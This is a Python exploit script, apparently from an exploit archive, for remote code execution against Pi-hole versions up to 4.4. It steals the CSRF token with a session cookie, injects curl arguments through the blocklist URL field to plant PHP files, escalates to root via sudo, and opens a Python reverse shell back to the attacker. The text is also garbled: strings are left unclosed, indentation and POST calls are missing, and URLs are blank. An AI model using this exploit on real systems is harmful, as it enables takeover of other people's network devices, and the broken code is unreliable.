#!/usr/bin/env python3  
# Pi-hole <= 4.4 RCE  
# Author: Nick Frichette  
# Homepage:  
# Note: This exploit must be run with root privileges and port 80 must not be occupied.  
# While it is possible to exploit this from a non standard port, for the sake of   
# simplicity (and not having to modify the payload) please run it with sudo privileges.  
# Or setup socat and route it through there?  
import requests  
import sys  
import socket  
import _thread  
import time  
if len(sys.argv) < 4:  
print("[-] Usage: sudo ./ *Session Cookie* *URL of Target* *Your IP* *R Shell Port*")  
print("\nThis script will take 5 parameters:\n Session Cookie: The authenticated session token.\n URL of Target: The target's url, example:\n Your IP: The IP address of the listening machine.\n Reverse Shell Port: The listening port for your reverse shell.")  
SESSION = dict(PHPSESSID=sys.argv[1])  
TARGET_IP = sys.argv[2]  
LOCAL_IP = sys.argv[3]  
LOCAL_PORT = sys.argv[4]  
# Surpress https verify warnings  
# I'm asuming some instances will use self-signed certs  
# Payload taken from  
# I opted to use the Python3 reverse shell one liner over the full PHP reverse shell.  
shell_payload = """<?php  
shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);[\\"/bin/sh\\",\\"-i\\"]);'")  
root_payload = """<?php  
shell_exec("sudo pihole -a -t")  
def send_response(thread_name):  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connected = False  
while not connected:  
conn,addr = sock.accept()  
if thread_name == "T1":  
print("[+] Received First Callback")  
conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")  
elif thread_name == "T2":  
print("[+] Received Second Callback")  
print("[+] Uploading Root Payload")  
conn.sendall(bytes(root_payload, "utf-8"))  
elif thread_name == "T3":  
print("[+] Received Third Callback")  
conn.sendall(b"HTTP/1.1 200 OK\n\nstuff\n")  
print("[+] Received Fourth Callback")  
print("[+] Uploading Shell Payload")  
conn.sendall(bytes(shell_payload, "utf-8"))  
connected = True  
# Fetch token  
resp = requests.get(TARGET_IP+"/admin/settings.php?tab=blocklists", cookies=SESSION, verify=False)  
response = str(resp.content)  
token_loc = response.find("name=\"token\"")  
token = response[token_loc+20:token_loc+64]  
# Make request with token  
data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o fun.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}  
resp ="/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)  
if resp.status_code == 200:  
print("[+] Put Root Stager Success")  
# Update gravity  
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/", cookies=SESSION, verify=False)  
# Update again to trigger upload of root redirect  
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/", cookies=SESSION, verify=False)  
data = {"newuserlists":"http://"+LOCAL_IP+"#\" -o teleporter.php -d \"","field":"adlists","token":token,"submit":"saveupdate"}  
resp ="/admin/settings.php?tab=blocklists", cookies=SESSION, data=data, verify=False)  
if resp.status_code == 200:  
print("[+] Put Shell Stager Success")  
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/", cookies=SESSION, verify=False)  
resp = requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/", cookies=SESSION, verify=False)  
print("[+] Triggering Exploit")  
requests.get(TARGET_IP+"/admin/scripts/pi-hole/php/fun.php", cookies=SESSION, timeout=3, verify=False)  
# We should be silent to avoid filling the cli window